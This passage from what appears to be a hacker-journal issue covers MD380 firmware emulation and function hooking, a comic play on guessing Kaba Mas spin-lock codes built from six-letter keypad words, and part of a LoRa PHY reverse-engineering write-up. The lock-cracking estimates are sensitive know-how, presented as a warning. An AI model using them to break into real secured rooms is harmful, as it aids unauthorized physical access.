followed by 49 bits of data, stored most significant bit first with the
final bit in the least significant bit of its own byte.



To have as few surprises as possible, I take the eight packed bytes
and extract them into an array of 49 shorts located at 0x20011c8e, because
this is the address that the firmware uses to store its buffer. Shorts are
used for convenience in addressing during computation, even if they
are a bit more verbose than they would be in a convenient calling
convention.

Additionally, I re-use the output buffers to store the resulting WAV
audio. In the MD380, there are two buffers of audio produced from
each frame of AMBE.

The thread that does the decoding in firmware is tied into the
MicroC/OS-II realtime operating system of the MD380. Since I don’t
have the timers and interrupts to call that thread, nor the I/O ports to
support it, I’ll instead just call the decoding routines that it calls.



For any parameter that I don’t understand, I just copy the value that
I’ve seen called through my hooks in the firmware running on real
hardware. For example, 0x20011224 is some structure used by the AMBE
code, but I can simply re-use it thanks to my handy RAM dump.

Since everything is now in the right position, we can decode a frame
of AMBE to two audio frames in quick succession.

After dumping these to disk and converting to a .wav file with sox -r
8000 -e signed-integer -L -b 16 -c 1 out.raw out-.wav, a proper audio file is
produced that is easily played. We can now decode AMBE in Linux!

Runtime Hooks



So now we’re able to decode audio frames, but this is firmware, and
damned near everything of value except the audio routines will
eventually call a function that deals with I/O—a function we’d better
replace if we don’t want to implement all of the STM32’s I/O devices.

Luckily, hooking a function is nice and easy. We can simply scan
through the entire image, replacing all BX (Branch and eXchange)
instructions to the old functions with ones that direct to the new
functions. False positives are a possibility, but we’ll ignore them for
now, as the alternative would be to list every branch that must be
hooked.

The BL instruction in Thumb is actually two adjacent 16-bit
instructions, which load a low and high half of the address difference
into the link register, then BX against that register. (This clobbers the
link register, but so does any BL, so the register use is effectively free.)

Now that we can calculate function call instructions, a simple loop
can patch all calls from one address into calls to a second address. You
can use this to hook the I/O functions live, rather than trapping them.

I/O Traps



What about those I/O functions that we’ve forgotten to hook, or ones
that have been inlined to a dozen places that we’d rather not hook?
Wouldn’t it sometimes be easier to trap the access and fake the result,
rather than hooking the same function?

You’re in luck! Because this is Unix, we can simply create a handler
for SIGSEGV, much as Jeffball did in PoCǁGTFO 8:8. Your segfault

handler can then fake the action of the I/O device and return.

Alternately, you might not bother with a proper handler. Instead,
you can use GDB to debug the process, printing a backtrace when the
I/O region at 0x40000000 is accessed. While GDB in Qemu doesn’t
support ptrace(2), it has no trouble trapping out the segmentation fault
and letting you know which function attempted to perform I/O.

Thank you kindly for reading my ramblings about ARM firmware.
I hope that you will find them handy in your own work, whenever you
need to work with firmware away from its own hardware.

If you’d like to similarly instrument Linux applications, take a look

at Jonathan Brossard’s Witchcraft Compiler Collection,19 an
interactive ELF shell that makes it nice and easy to turn an executable
into a linkable library.

The emulator from this article has now been incorporated into my

md380tools project, for use in Linux.20

Cheers from Varaždin, Croatia,
-Travis 6A/KK4VCZ



13:6 Silliness in Three Acts; or, Weak Passwords
of Spinlocks

by Evan Sultanik

Dramatis Personæ

Disembodied Voice of Pastor Manul Laphroaig . . . . . . . . . . . Bard
Alice Feynman . . . . . . Disciple of the Church of Weird Machines Bob
Schrute . . . . . . . . . . Assistant to the Facility Security Officer Havva al-
Kindi . . . . . . . . . . . . . . . Alice’s Old and Wise Officemate The Ghost of
Paul Erdös . . . . . . . . . . . . . . . . . Keeper of The Book

Act I: Memorize, Don’t Compromise

PASTOR: In the windowless bowels of a nondescript, Class A office
building entrenched inside the Washington, D.C. beltway, we meet
our heroine, Alice Feynman, lost on her way to a meeting with the
Facility Security Officer.

ALICE: Excuse me, which way is it to the security office?

BOB: You must be the new hire. Bob Schrute, assistant FSO. I can
take you there right after I finish with this...



ALICE: Alice. Nice to meet you. What’re you doing?

BOB: Kaba Mas X-09 high security spin-lock. It’s DSS-approved for
use in our SCIFs. I’m resetting this one’s passcode.

ALICE: [Blank Stare]

BOB: U.S. Department of Defense (DoD) Defense Security Service
(DSS). Sensitive Compartmented Information Facilities (SCIFs).
The rooms where we are allowed to store and process classified
information?

ALICE: I see. I noticed those things all over this building.

BOB: They’re ubiquitous. You’ll see them anywhere in the country
there’s classified work going on. One on each door, and another on
each safe. Super secure, too. Security in this office is no joke.

ALICE: How do they work?

BOB: [Throwing Alice the lock’s manual.] They run off of the electricity

generated from spinning them, so you need to spin them a bit to
get started. You see? The LCD on top shows you the current
number. You enter three two-digit numbers. First one clockwise,
second counter-clockwise, third clockwise, and then a final spin
counter-clockwise to open. That’s the passcode.

ALICE: [Flipping through the manual.] Does each lock get a different

passcode?

BOB: Yes. That’s why we have this [handing Alice a magnet stuck to the
side of the door].

ALICE: Ah I see. It’s a phone keypad. So you use a mnemonic to
remember each passcode?

BOB: Exactly. [Pointing to a poster on the wall with his own mugshot and
memetic letters emblazoning “MEMORIZE, DON’T



COMPROMISE,” he sternly repeats that slogan:] Memorize, don’t

compromise.

ALICE: [“Is this guy serious?” face.]

BOB: You think you could crack it? FALSE. [Flamboyantly produces a
pocket calculator that had been hidden somewhere on his person.] Three

two-digit numbers. That’s 100 times 100 times 100, so ... there are
a million possible codes. I’ve set this to have a timeout of four
minutes after each failed attempt. So, trying all possible
combinations would take ... [furiously punching at the calculator] ...

almost eight years! We change each code once every couple
months, so even if you could continuously try codes for eight
hours a day, you’d have ... [more furious punching] ... about seven

tenths of one percent chance of getting the code right.

ALICE: [Handing the manual back.] I didn’t see anything in here about

an automatic lockout after too many failed attempts.

BOB: [Pointing to his minuscule biceps.] These provide the lockout.

ALICE: Are you ready to take me to the security office now?

BOB: Fine.

Act II: Surely You’re Joking

PASTOR: Two weeks later, Alice has settled into her office, which she
shares with Havva al-Kindi. She hasn’t had a chance to play with
those nifty locks at all yet; her clearance is still being processed.
Most of her time is spent idling or doing busy-work while she waits
to be approved to work on a real project.

ALICE: [On her desk phone] Yes. Yes, no problem. By close of business

today. No problem. Bye.



PASTOR: As Alice hangs up the phone, she notices something odd
about the keypad, and immediately remembers the magnet Bob
had showed her.

ALICE: [Gets up and starts drawing on her whiteboard.]

HAVVA: What are you doing?

ALICE: Did you ever notice that the numbers zero and one don’t have
any letters on the phone?

HAVVA: Sure! You’re probably too young to have ever used a rotary
phone, right? Back when phone numbers were only seven digits
long, the first two numbers represented the exchange, and a
mnemonic was given to each exchange. [Singing and tapping on her
desk] Bum-dah-bum bah-duh-bum bahhh dummm! PEnnsylvania Six



Five Thousand! No? It was a big Glenn Miller hit! My parents used

to play it all the time when I was a kid. That song is referring to
the phone number for the Hotel Pennsylvania in New York, which
to this day is still (212) PE6-5000.

ALICE: Oh yeah! I went there once for HOPE.

HAVVA: Hope? Anyhow, for various reasons, the numbers zero and
one were never used in exchanges, which meant they never
occurred at the beginning of phone numbers, which meant they
couldn’t have letters associated with them.



ALICE: Interesting! [Continuing on the whiteboard] 86 = ... [a pause to
consult her computer] 262144. 1 – 262144 ÷ 1000000 = ... 0.738. Wow!

So, if there are only eight buttons with letters, that reduces the
number of possible phone numbers associated with six-letter
mnemonics by 74% compared to if all the buttons had letters!

HAVVA: I guess that’s true. There are also certain phone numbers
you’ll never be able to have English mnemonics for, because the
buttons for 5, 7, and 9 don’t have any vowels. So you can’t make a
mnemonic for a phone number that only uses those three numbers.

ALICE: Wow, yeah, that’s another 36 = . . . [quickly doing some math in
her head this time] 729 codes that don’t have mnemonics.

HAVVA: Codes?

ALICE: Er, I mean “phone numbers.”

HAVVA: I’ll bet there are certain “codes” that don’t have any English
words associated with them. Plus, letters in English words don’t all
occur at the same frequency: It’s much more likely that a word will
have the letter “e” than it will have the letter “x.”

ALICE: [Opens up a terminal on her computer.]

$ grep ‘^.\{6\}$’ /usr/share/dict/words | wc -l
    17706
$ echo `!!` / 1000000 | bc -l
.01770600000000000000

PASTOR: And thus, Alice had discovered that fewer than 2% of the
million possible codes actually map to English words.

ALICE: [Once again at the whiteboard.]

HACKER

42 25 34



[Back at the computer.]
$ grep -i ‘^.\{4\}er$’ /usr/share/dict/words \| wc -l

    1562

About 10% of six-letter English words end with the letters “ER”!

[Back at the board, with long pauses.]

DO SA GE

36 72 43

EN RAGE

36 72 43

FO RAGE

36 72 43

FO RB ID

36 72 43

PASTOR: And many words share the same code. In fact, Alice quickly
wrote a script to count the number of unique codes possible from

six-letter English words.21

ALICE: There are only 14684 possible codes to check! That would
take ... only about 40 days to brute-force crack!

Act III: The Book

PASTOR: Later that day, Alice is at her favorite dive, decompressing
with some of her side projects.

PAUL: [Sits down next to Alice at the bar. Wheel of Fortune is playing on an
ancient CRT.] Television is something the Russians invented to

destroy American education.

ALICE: [Tippling a brown liquor, neat, while working on her laptop. Paul’s
comment draws her attention to the TV. Alice notices that some letters are



given away “for free” and remembers what Havva had said about letter
frequency. She quickly grabs her notebook and jots down the letters as a
reminder.] R, S, T, L, N, E.

PAUL: [Noticing Alice’s notebook.] Yes, these are very common letters in

English. My native language does not use “r” as much. But what do
I know about English? I learned it from my father, who taught it to
himself by reading English novels in one of Joe’s Gulags. [Awkward
pause while Alice struggles with how to respond.] Have you discovered

anything beautiful? [Pointing into her notebook.]

ALICE: Oh that? I’ve been thinking about mnemonics for passcodes.

PAUL: [Pointing to the drink:] That poison will not help you. [Produces
a small pill bottle out of his shirt pocket, raises it to eye level, drops it, and
then catches it with the same hand before it hits the bar.]

ALICE: Haven’t you heard? The Ballmer Peak is real! Or at least that’s

what I read on Stack Exchange.

PAUL: Pál Erdös. My brain is open.

PASTOR: Alice introduces herself and proceeds to explain all of her
findings to Paul.

ALICE: . . .and I just finished sorting the 14684 distinct codes by the
number of words associated with them. That way, if I try the codes
in order of decreasing word associations, then it will maximize my
chances of cracking the code sooner than later.

PAUL: Yes, if codewords are chosen uniformly from all six-letter
English words. Can I see the distribution of word frequency?
[Grabbing a napkin, stealing Alice’s pen, and scribbling some notes.]
Using your method, after fewer than 250 attempts, there is a 5%
probability that you will have cracked the code. After about 5700
attempts, there will be a 50% probability of success.

ALICE: [Typing on her computer.] That’s only about 16 days!



PASTOR: An adversary with intermittent access to the lock—for
example, after hours—could quite conceivably crack the code in
less than a month.

PAUL: If there exists a method that allows the code-breaker to detect
whether each successive two-digit subcode is correct before
entering the next two-digit subcode,. . .

PASTOR: . . .otherwise known as a “vulnerability”...

PAUL: . . .[annoyed about having been interrupted, even if by the
disembodied voice of a narrator] then the expected value for the length

of time required to crack the code is on the order of minutes.
[Mumbling toward the fourth wall:] That Pastor is more annoying

than the SF.

ALICE: What?

PAUL: SF means “Supreme Fascist.” This would show that God is
bad. I do not claim that this is correct, or that God exists. It is just
a sort of half-joke. There is an anecdote I once heard. Suppose
Israel Gelfand and his advisor, Andrei Kolmogorov, were to both
arrive in a country with a lot of mountains. Kolmogorov would
immediately try and climb the highest mountain. Gelfand would
immediately start building roads. What would you do?

ALICE: I would learn to fly an airplane so I could discover new
mountain ranges. What about you?

PAUL: Some might say that is what I do. My friends might add that

they pay for the fuel. But really, I just try to keep the SF’s score low.
How can we create mnemonics that are not vulnerable to your
attack?

ALICE: Well, I guess the first thing to do is create a keypad layout
that uses zero and one.



PAUL: Yes, but my academic sibling Pólya would say that we first
need to understand the problem. Ideally, we want a keypad layout

that produces an injective mapping from the six-letter English
words into the natural numbers from zero to one million.

ALICE: Injective?

PAUL: Such that no two words produce the same code number.

ALICE: Is that even possible?

PAUL: I do not know. I believe this is an instance of the multiple subset
sum problem, related to the knapsack problem.

ALICE: Ah yeah, I remember that from my algorithms class. It’s NP-
Complete, right?

PAUL: Yes, and likely intractable for problems even as small as this
one. The total number of possible keypad mappings is 100 million
billion billion. But it is easy for us to check the pigeons.

ALICE: Huh?

PAUL: The pigeonhole principle. For any subset of m letters within a

word, there can be at most 106–m words that have that pattern of
letters. If there are more, then there must be a collision, no matter
the mapping we choose.

ALICE: Ah, I see. That’s easy enough to check! [Typing.]



So, there are fourteen five-letter suffixes like “inder,” “aggle,” and
“ingle” that will all produce at least one collision. I guess there’s no
way to make a perfect mapping.

PAUL: Gelfand advised Endre Szemerédi. This problem is
reminiscent of Szemerédi’s use of expander graphs in pseudorandom

number generation. What we want to do is take a relatively small
set of inputs (being the six-letter English words) and use an
expander graph as an embedding into the natural numbers between
one and a million, such that the resulting distribution mimics
uniformity.

ALICE: That sounds ... difficult.

PAUL: Constructing expander graphs is extremely difficult. But I
think Szemerédi would agree that interesting things rarely happen
in fewer than five dimensions.

ALICE: I am a pragmatist. How about we use a genetic algorithm to
evolve a near optimal mapping?



PAUL: Such a solution would not be from The Book, but it would

provide you with a mapping.

ALICE: What book?

PAUL: The Book in which the SF keeps all of the most beautiful
solutions.

ALICE: Well, I think I’ll try my hand at a scruffy genetic algorithm. I
need a decent mapping if I ever want to publish this in
PoCǁGTFO!

PAUL: What is PoCǁGTFO?

ALICE: It’s... I guess it’s a sort of bible.

PAUL: Then the only difference between your Book and mine are the
fascists who created them. Maybe we will continue tomorrow ... if I
live.

ALICE: [Looking up from her keyboard.] Can I buy you a drink? [Paul has
vanished.]

PASTOR: The moral of the story, dear neighbors, is not that these

locks are inherently vulnerable; if used properly, they are in fact
incredibly secure. We must remember that these locks are only as
secure as the codes humans choose to assign to them. Using a
phone keypad mapping on six-letter English dictionary words is
the physical security equivalent of a website arbitrarily limiting
passwords to eight characters.



13:7 Reversing the LoRa PHY

by Matt Knight

It’s 2016, and everyone’s favorite inescapable buzzword is IoT, the
Internet of Things. The mere mention of this phrase draws myriad
reactions, depending on who you ask. A marketing manager may wax
philosophical about swarms of connected cars eradicating gridlock
forever, or the inevitability of connected rat traps intelligently

coordinating to eradicate vermin from midtown Manhattan,22 while a
security researcher may just grin and relish in the plethora of low-
power stacks and new attack surfaces being applied to cyber-physical
applications.

IoT is marketing speak for connected embedded devices. That is,
inexpensive, low power, resource constrained computers that talk to
each other, possibly on the capital-I Internet, to exchange data and
command and control information. These devices are often installed in
hard to reach places and can be expected to operate for years. Thus,
easy to configure communication interfaces and extreme power
efficiency are crucial design requirements. While 2G cellular has been



a popular mechanism for connecting devices in scenarios where a PAN
or wired technology will not cut it, AT&T’s plans to sunset 2G on
January 1, 2017 and LTE-M Rel 13’s distance to widespread adoption
presents an opportunity for new wireless specifications to seize market
share.

LoRa is one such nascent wireless technology that is poised to
capture this opportunity. It is a Low Power Wide Area Network
(LPWAN), a class of wireless communication technology designed to
connect low power embedded devices over long ranges. LoRa
implements a proprietary PHY layer; therefore, the details of its
modulation are not published.

This paper presents a comprehensive blind signal analysis and
resulting details of LoRa’s PHY, chronicles the process and pitfalls
encountered along the way, and aspires to offer insight that may assist
security researchers as they approach their future unknowns.

Casing the Job

I first heard of LoRa in December 2015, when it and other LP-WANs
came up in conversation among neighbors. Collectively we were
intrigued by its advertised performance and unusual modulation, thus I
was motivated to track it down and learn more. In the following weeks,



I occasionally scanned the spectrum near 900 MHz for signs of its
distinctive waveform (more on that soon), but searches in the New York
metropolitan area, Boston, and a colleague’s search in San Francisco
yielded no results.

Sometime later I found myself at an IoT security meetup in
Cambridge, MA that featured representatives from Senet and SIGFOX,
two major LPWAN players. Senet’s foray into LoRa started when they
sought to remotely monitor fluid levels in home heating oil tank
measurement sensors to improve the existing process of sending a guy
in a truck to read it manually. Senet soon realized that the value of this
infrastructure extended far beyond the heating oil market and has
expanded their scope to becoming a IoT cellular data carrier of sorts.
While following up on the company I happened upon one of their
marketing videos online. A brief segment featured a grainy shot of a
coverage map, which revealed just enough to suggest the presence of
active infrastructure in Portsmouth, NH. After quick drive with my
Ettus B210 Software Defined Radio, I had my first LoRa captures.

First Observations and OSINT

LoRa’s proprietary PHY uses a unique chirp spread spectrum (CSS)
modulation scheme, which encodes information into RF features called
chirps. A chirp is a signal whose frequency is increasing or decreasing at
a constant rate, and they are unmistakable within the waterfall. A chirp-
based PHY is shown in Figure 13.10.

Contrasted with FSK or OFDM, two common PHYs, the
differences are immediately apparent.

Modulation aside, visually inspecting a spectrogram of LoRa’s
distinct chirps reveals a PHY structure that is similar to essentially all
other digital radio systems: the preamble, start of frame delimiter, and
then the data or payload.

Since LoRa’s PHY is proprietary, no PHY layer specifications or
reference materials were available. However, thorough analysis of open
source and readily available documentation can greatly abbreviate



reverse engineering processes. When I conducted this investigation, a
number of useful documents were available.

First, the Layer 2+ LoRaWAN stack is published, containing clues
about the PHY.

Second, several application notes were available for Semtech’s

commercial LoRa modules.23 These were not specs, but they did
reference some PHY-layer components and definitions.

Third, a European patent filing from Semtech described a CSS
modulation that could very well be LoRa.

Finally, neighbors who came before me produced open-source
prior art in the form of a partial rtl-sdrangelove implementation and a

wiki page,24 but this attempt was piecemeal and neglected, with only
high level observations on the wiki. These were not enough to decode
the packets that I had captured in New Hampshire.

Demodulation

OSINT gathering revealed a number of key definitions that informed
the reverse engineering process. A crucial notion is that of the
spreading factor (SF): the spreading factor represents the number of
bits packed into each symbol. A symbol, for the unordained, is a
discrete RF energy state that represents some quantity of modulated
information (more on this later.) The LoRaWAN spec revealed that the
chirp bandwidth, that is the width of the channel that the chirps
traverse, is 125 kHz, 250 kHz, or 500 kHz within American
deployments. The chirp rate, which is intuitively the first derivative of
the signal’s frequency, is a function of the spreading factor and the

bandwidth: it is defined as bandwidth/2(spreading_factor). Additionally, the

absolute value of the downchirp rate is the same as the upchirp rate.25

Back to the crucial concept of symbols. In LoRa, symbols are
modulated onto chirps by changing the instantaneous frequency of the
signal; the first derivative of the frequency, the chirp rate, remains
constant, while the signal itself “jumps” throughout its channel to



represent data. The best way to intuitively think of this is that the
modulation is frequency-modulating an underlying chirp. This is
analogous to the signal alternating between two frequencies in a 2FSK
system, where one frequency represents a 0 and the other represents a 1.
The underlying signal in that case is a signal of constant frequency,
rather than a chirp, and the number of bits per symbol is 1. How many
data bits are encoded into each frequency jump within LoRa? This is
determined by the spreading factor.

The first step to extracting the symbols is to de-chirp the received
signal. This is done by channelizing the received signal to the chirp’s
bandwidth and multiplying the result against a locally-generated
complex conjugate of whichever chirp is being extracted. A locally
generated chirp is shown in Figure 13.11.

Since both upchirps and downchirps are present in the modulation,
the signal should be multiplied against both a local up-chirp and
downchirp, which produces two separate IQ streams. Why this works
can be reasoned intuitively, since waves obey superposition,
multiplying a signal with frequency f0 against a signal with frequency

—f0 results in a signal with frequency 0, or DC. If a chirp is multiplied

against a copy of itself, it will result in a signal of 2f0, which will spread

its energy throughout the band. Thus, generating a local chirp at the
negative chirp rate of whichever chirp is being processed results in RF
features with constant frequency that can be handled nicely.

In Figure 13.12, the left image shows de-chirped upchirps while the
right shows de-chirped downchirps.

This de-chirped signal may be treated similarly to MFSK, where

the number of possible frequencies is M = 2(spreading_factor). The Fast
Fourier Transform (FFT) is the tool used to perform the actual symbol
measurement. Fourier analysis shows that a signal can be modeled as a
summed series of basic periodic functions (i.e., a sine wave) at various
frequencies. A FFT decomposes a signal into the frequency
components that comprise it, returning the power and phase of each
component present. Each component to be extracted is colloquially



called a “bin;” the number of bins is specified as the “FFT size” or
“FFT width.”

Thus, by taking an M-bin wide FFT of each IQ stream, the symbols
may be resolved by finding the argmax, which is the bin with the most
powerful component of each FFT. This works out nicely because a de-
chirped CSS symbol turns into a signal with constant frequency; all of

the symbol’s energy should fall into a single bin.26

With the signal de-chirped, the remainder of the demodulation
process can be described in three steps. These steps mimic the process
required for essentially all digital radio receivers.

First, we’ll identify the start of the packet by finding a preamble.
Then, we’ll synchronize with the start of the packet, so that we may
conclude in demodulating the payload by measuring its aligned
symbols.

Figure 13.10: Spectrogram of a LoRa packet.



Figure 13.11: Locally Generated Chirp



Figure 13.12: De-chirped Upchirps (left) and Downchirps (right)



Finding the Preamble

A preamble is a feature included in modulation schemes to announce
that a packet is soon to follow. By visual inspection, we can infer that
LoRa’s preamble is represented by a series of continuous upchirps.
Once de-chirped and passed through an FFT, all of the preamble’s



symbols wind up residing within the same FFT bin. Thus, a preamble
is detected if enough consecutive FFTs have the same argmax.

Synchronizing with the SFD

With our receiver aware that it’s about to receive a packet, the next step
is to accurately synchronize with it so that symbols can be resolved
accurately. To facilitate this, modern radio systems often advertise the
start of the packet’s data unit with a Start of Frame Delimiter, or SFD,
which is a known symbol distinct from the preamble that receivers are
programmed to look for. For LoRa, this is where the downchirps come
in.

The SFD is composed of two and one quarter downchirps, while all
the other symbols are represented by upchirps. With preamble having
been found, our receiver should look for two consecutive downchirps
to synchronize against.

Accurate synchronization is crucial to properly resolving symbols.
If synchronization is off by enough samples, when FFTs are taken each
symbol’s energy will be divided between two adjacent FFTs. Until now,

the FFT process used to resolve the symbols processed 2(spreading_factor)
samples per FFT with each sample being processed exactly once,
however after a few trial runs it became evident that this coarse
synchronization would not be sufficiently accurate to guarantee good
fidelity.

Increasing the time-based FFT resolution was found to be a reliable
method for achieving an accurate sync. This is done by shifting the



stream of de-chirped samples through the FFT input buffer, processing
each sample multiple times, to “overlap” adjacent FFTs. This increases
the time-based resolution of the FFT process at the expense of being
more computationally intensive. Thus, overlapping FFTs are only used
to frame the SFD; non-overlapped FFTs with each sample being
processed exactly once are taken otherwise to balance accuracy and
computational requirements.

Technically there’s also a sync word that precedes the SFD, but my
demodulation process described in this article does not rely on it.

Demodulating the Payload

Now synchronized against the SFD, we are able to efficiently
demodulate the symbols in the payload by using the original non-
overlapping FFT method. However, since our receiver’s locally
generated chirps are likely out of phase with the chirp used by the
transmitter, the symbols appear offset within the set range [0 :
2(spreading_factor) – 1] by some constant. It was surmised that the
preamble would be a reliable element to represent symbol 0, especially
given that the sync word’s value is always referenced from the preamble.
A simple modulo operation to normalize the symbol value relative to
the preamble’s zero-valued bin produces the true value of the symbols,
and the demodulation process is complete.



Figure 13.13: The top is pre-sync and non-overlapped, middle is pre-
sync overlapped, bottom is synchronized and non-overlapped.



Decoding, and its Pitfalls

Overall, demodulation proved to not be too difficult, especially when
you have someone like Balint Seeber feeding you advice and sagely
wisdom. However, decoding is where the fun (and uncertainty) really
began.

First, why encode data? In order to increase over the air resiliency,
data is encoded before it is sent. Thus, the received symbols must be
decoded in order to extract the data they represent.

The documentation I was able to gather on LoRa certainly
suggested that figuring out the decoding would be a snap. The patent
application describing a LoRa-like modulation described four
decoding steps that were likely present. Between the patent and some
of Semtech’s reference designs, there were documented algorithms or
detailed descriptions of every step. However, these documents slowly
proved to be lies, and my optimism proved to be misplaced.

OSINT Revisited

Perhaps the richest source of hints was Semtech’s European patent

application.27 The patent describes a CSS-based modulation with an
uncanny resemblance to LoRa, and goes so far as to walk step-by-step
through the encoding elements present in the PHY. From the encoder’s
perspective, the patent describes an encoding pipeline of forward error
correction, a diagonal interleaver, data whitening, and gray indexing,
followed by the just-described modulation process. The reverse process
would be performed by the decoder. The patent even defines an
interleaver algorithm, and Semtech documentation includes several
candidate whitening algorithms.

The first thing to try, of course, was to implement a decoder exactly
as described in the documentation. This involved, in order:

1. Undoing gray coding applied to the symbols.



2. Dewhitening using the algorithms defined in Semtech’s
documentation.

3. Deinterleaving using the algorithm defined in Semtech’s patent.

4. Processing the Hamming forward error correction hinted at in
Semtech’s documentation.

First, let’s review what we have learned about each step listed above
based on open-source research, and what would be attempted as a
result.

Gray Indexing Given the nomenclature ambiguity in the Semtech
patent, I also decided to test no gray coding and reverse gray coding in
addition to forward gray coding. These were done using standard
algorithms.

Data Whitening Data whitening was a colossal question mark while
looking at the system. An ideal whitening algorithm is pseudorandom,
thus an effective obfuscator for all following components of the system.
Luckily, Semtech appeared to have published the algorithm candidates
in Application Note AN1200.18. Entitled “Implementing Data
Whitening and CRC Calculation in Software on SX12xx Devices,” it
describes three different whitening algorithms that were relevant to the
Semtech SX12xx-series wireless transceiver ICs, some of which support
LoRa. The whitening document provided one CCITT whitening
sequences and two IBM methods in C++. As with the gray indexing
uncertainty, all three were implemented and permuted.

Interleaver Interleaving refers to methods of deterministically
scrambling bits within a packet. It improves the effectiveness of
Forward Error Correction, and will be elaborated on later in this text.
The Semtech patent application defined a diagonal interleaver as
LoRa’s probable interleaver. It is a block-style non-additive diagonal
interleaver that shuffles bits within a block of a fixed size. The
interleaver is defined as



Symbol(j, (i + j)%PPM) = Codeword(i, j)

where 0 <= i < PPM and 0 <= j < 4 + RDD. In this case, PPM is set to the

spreading factor (or spreading_factor — 2 for the PHY header and when in
low data rate modes), and RDD is set to the number of parity bits used
by the Forward Error Correction scheme, ranging [1 : 4].

There was only one candidate illustrated here, so no iteration was
necessary.

Forward Error Correction The Semtech patent application suggests
that Hamming FEC be used. Other documentation appeared to
confirm this. A custom FEC decoder was implemented that originally
just extracted the data bits from their standard positions within
Hamming(8,4) codewords, but early results were negative, so this was
extended to apply the parity bits to repair errors.

Using a Microchip RN2903 LoRa Mote, a transmitter that was
understood to be able to produce raw frames, a known payload was
sent and decoded using this process. However, the output that resulted
bore no resemblance to the expected payload. The next step was to
inspect and validate each of the algorithms derived from
documentation.

After validating each component, attempting every permutation of
supplied algorithms, and inspecting the produced binary data, I
concluded that something in LoRa’s described encoding sequence was
not as advertised.

Taking Nothing for Granted

The nature of analyzing systems like this is that beneath a certain point
they become a black box. Data goes in, some math gets done, RF
happens, said math gets undone, and data comes out. Simple enough,
but when encapsulated as a totality it becomes difficult to isolate and



chase down bugs in each component. Thus, the place to start was at the
top.

How to Bound a Problem

The Semtech patent describes the first stage of decoding as “gray
indexing.” Gray coding is a process that maps bits in such a way that
makes it resilient to off-by-one errors. Thus, if a symbol were to be
measured within ±1 index of the correct bin, the gray coding would
naturally correct the error. “Gray indexing,” ambiguously referring to
either gray coding or its inverse process, was initially understood to
mean forward gray coding.

The whitening sequence was next in line. Data whitening is a
process applied to transmitted data to induce randomness into it. To
whiten data, the data is XORed against a pseudorandom string that is
known to both the transmitter and the receiver. This does good things
from an RF perspective, since it induces lots of features and transitions
for a receiver to perform clock recovery against. This is functionally
analogous to line coding schemes such as Manchester encoding, but
whitening offers one pro and one con relative to line coding: data
whitening does not impact the effective bit rate as Manchester

encoding does,28 but this comes at the expense of legibility due to the
pseudorandom string.

At this point, it is important to address some of the assumptions
and inferences that were made to frame the following approach. While
the four decoding stages were thrown into question by virtue of the fact
that at least one of the well-described algorithms was not correct,
certain implied properties could be generalized for each class of
algorithm, even if the implementation did not match exactly.



I made a number of assumptions at this point, which I’ll describe in
turn.

First, the interleaver in use is non-additive. This means that while it
will reorder the bits within each interleaving block, it will not cause
any additional bits to be set or unset. This was a reasonable assumption
because many block-based interleavers are non-additive, and the



interleaver defined in the patent is non-additive as well. Even if the
interleaver used a different algorithm, such as a standard block
interleaver or a different type of diagonal interleaver, it could still fit
within this model.

Second, the forward error correction in use is Hamming FEC, with
four data bits and one to four parity bits per codeword. FEC can be
thought of as supercharged parity bits. A single parity bit can indicate
the presence of an error, but if you use enough of them they can
collectively identify and correct errors in place, without re-
transmission. Hamming is specifically called out by the European
patent, and the code rate parameter referenced throughout reference
designs fits nicely within this model.

The use of Hamming codes, as opposed to some other FEC or a
cyclic coding scheme, was fortuitous because of a property of the
Hamming code words. Hamming codeword mapping is deterministic
based on the nybble that is being encoded. Four bits of data provide 16
possible codewords. When looking at Hamming(8,4) (which is the inferred
FEC for LoRa code rate 4/8), 14 of the 16 codewords contain four set
bits (1s) and four unset bits (0s). However, the code words for 0b0000 and
0b1111 are 0b00000000 and 0b11111111, respectively.

Thus, following on these two assumptions, if a payload containing
all 0x00s or 0xFFs were sent, then the interleaving and forward error
correction should cancel out and not affect the output at all. This
reduces our unknown stages in the decoding chain from four to just two,

with the unknowns being gray indexing and whitening, and once those
are resolved then the remaining two can be solved for!

Since “gray indexing” likely refers to gray coding, reverse gray
coding, or no coding should it be omitted, this leaves only three
permutations to try while solving for the data whitening sequence.

The first step was to take a critical look at the data whitening
algorithms provided by Semtech AN1200.18. Given the detail and
granularity in which they are described, plus the relevance of having
come straight from a LoRa transceiver datasheet, it was almost a given
that one of the three algorithms would be the solution. With the



interleaver and FEC effectively zeroed out, and “gray indexing”
reduced to three possible states, it became possible to test each of the
whitening algorithms.

Testing each whitening algorithm was fairly straightforward. A
known payload of all 0x00s or 0xFFs (to cancel out interleaving and FEC)
was transmitted from the Microchip LoRa Technology Mote and then
decoded using each whitening algorithm and each of the possible “gray
indexing” states. This resulted in nine permutations. A visual diff of the
decoded data versus the expected payload resulted in no close matches.
This was replaced with a diff script with a configurable tolerance for
bits that did not match. This also resulted in no matches as well. One
final thought was to forward compute the whitening algorithms in case
there was a static offset or seed warm-up, as can be the case with other
PRNG algorithms. Likewise, this did not reveal any close matches.
This meant that either none of the given whitening algorithms in the
documentation were utilized, or the assumptions that I made about the
interleaver and FEC were not correct.

After writing off the provided whitening algorithms as fiction, the
next course of action was to attempt to derive the real whitening
algorithm from the LoRa transmitter itself. This approach was based
on the previous observations about the FEC and interleaver and a
fundamental understanding of how data whitening works. In essence,
whitening is as simple as XORing a payload against a static
pseudorandom string, with the same string used by both the
transmitter and receiver. Since anything XORed with zero is itself,
passing in a string of zeroes causes the transmitter to reveal a “gray
indexed” version of its whitening sequence.

This payload was received, then transformed into three different
versions of itself: one gray-coded, one unmodified, and one reverse
gray-coded. All three were then tested by transmitting a set of 0xF data
nybbles and using each of the three “gray indexing” candidates and
received whitening sequence to decode the payload. The gray coded
and unmodified versions proved to be incorrect, but the reverse gray
coding version successfully produced the transmitted nybbles, and thus



in one fell swoop, I was able to both derive the whitening sequence and
discern that “gray indexing” actually referred to the reverse gray
coding operation. With “gray indexing” and whitening solved, I could
turn my attention to the biggest challenge: the interleaver.

The Interleaver

At this point we’ve resolved two of the four signal processing stages,
disproving their documentation in the process. Following on this, the
validity of the interleaver definition provided in Semtech’s patent was
immediately called into question.

A quick test was conducted against a local implementation of said
interleaver: a payload comprised of a repeated data byte that would
produce a Hamming(8,4) codeword with four set and four unset bits was
transmitted and the de-interleaved frame was inspected for signs of the
expected codeword. A few other iterations were attempted, including
reversing the diagonal offset mapping pattern described by the patent
and using the inverse of the algorithm (i.e., interleaving the received
payload rather than de-interleaving it). Indeed, I was able to conclude
that the interleaver implemented by the protocol is not the one
